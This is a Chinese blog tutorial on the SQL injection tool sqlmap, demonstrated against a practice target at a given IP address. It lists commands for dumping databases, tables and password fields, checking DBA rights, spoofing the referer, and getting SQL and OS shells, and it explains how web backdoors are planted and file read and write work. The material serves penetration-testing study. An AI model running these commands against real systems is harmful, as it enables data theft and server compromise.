1.sqlmap介绍
💪💪
SQLMap
是一个自动化的SO
L注入工具,其主要功能是扫描、发现并利用给定URL
的SQL
注入漏洞,内置了根多绕过插件,支持的数据库有MySOL、Microsoft Access、IBM DB2、SQLite、Firebird、PostgreSQL、Microsoft SQL Server.Sybase
和SAPMaxDB。SQLMap
采用了以下5种独特的SQL
注入技术。
- 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
- 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
- 联合查询注入,在可以使用
Union
的情况下的注入。 - 堆查询注入,可以同时执行多条语句时的注入。
💎💎
SQLMap
的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap
的功能强大到让人惊叹,当常规的注入工具不能利用SQL
注入漏洞进行注入时,使用SQLMap
会有意想不到的效果。
2. sqlmap基础
2.1.打开sqlmap
直接输入
sqlmap
,这里我使用kali
演示
sqlmap下载
**由于有许多人没有sql
环境,我这里以真实靶场为例,靶场地址,⚠️⚠️不同人注册后靶场地址不同,注意区分,
点击后进入如下目录
这里我们只讨论
sqlmap
的使用,不考虑解题过程
2.2.判断是否存在注入
sqlmap -u 网址;(当网址后面的参数大于两个的时候,网址要加上英语双引号)
有些使用sqlmap.py
,及把sqlmap换成sqlmap.py
,不同sqlmap
不同
2.3.判断文件是否存在注入:
sqlmap -r 文件名(文件名要有正确的路径)
在这里我们可以使用sqlmap进行抓包,然后进行验证
2.4.查询当前数据库下的所有数据库
sqlmap -u 网址 --dbs
在这里我们看到了5个数据库,进入mysql
进行测试
2.5.获取数据库中的表名
sqlmap -u 网址 -D 数据库 --tables
可以看到mysql
数据库下面有多个表,进入user
表下面看看
2.6.获取表中的字段名
sqlmap -u 网址 -D 数据库 -T 表名 --columns
可以看到user
表下面有多个字段,其中包含敏感字段password
,我们可以试一下窃取password
2.7.获取字段类容
sqlmap -u 网址 -D 数据库 -T 表名 -C 字段名 --dump
如上图所示,可以看到用户名和密码
2.8.获取数据库的所有用户
sqlmap -u 网址 --users
2.9.获取数据库密码
sqlmap -u 网址 --passwords
2.10.获取当前数据库网站的名称>
sqlmap -u 网址 --current-db
其实我们在进行扫描的时候还可能得到其他重要的信息,比如语言版本,数据库版本,因为有些数据没有进行更新,存在一定的漏洞,如下:
2.11.获取当前网站数据库用户名称
sqlmap -u 网址 --current-user
3.sqlmap进阶
3.1参数
3.1.1 --level 等级
一共有五个等级(1~5),当然探测等级越高,使用的时间越久,这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookies在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试
不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level值。sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --level 2
3.1.2 --is-dba
查看当前用户是否为管理员权限
sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --is-dba
3.1.3 --roles
列出数据库管理员角色:
sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --roles
- 该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色。该命令仅适用于当前数据库是Oracle的时候
3.1.4 --referer
查看数据库用户的角色:
sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --referer https://www.baidu.com
- SQLMap可以在请求中伪造HTTP中的referer,
当–level参数设定为3或3以上时;
会尝试对referer注入。可以使用referer命令来欺骗
3.1.5 --sql-shell
执行指定的
sql
语句:select * from user
sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --sql-shell
3.1.6 --os-cmd,--os-shell
在数据库为MySOL、PostgreSOL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap上传一个二进制库,包含用户自定义的函数sys exec)和sys eval,那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中,SQLMap将使用xp cmdshell存储过程,如果被禁用(在MicrosoftSQLServer2005及以上版本默认被禁制),则SQLMap会重新启用它;如果不存在,会自动创建。
用–os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为MySQL),仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。–os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是–is-dba的值要为True)。
3.1.7 --file-read
该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQLServer,并且当前用户有权限使用特定的函数时
3.1.8 --file-write --file-dest
该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。下面以一个MySQL的例子复习–file-write–file-dest参数的用法。文章来源:https://www.toymoban.com/news/detail-422764.html
3.2绕过
由于小编现在技术有限,绕过方法以后跟新,想要看后续的,可以关注一下博主哦文章来源地址https://www.toymoban.com/news/detail-422764.html
到了这里,关于sqlmap使用图解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!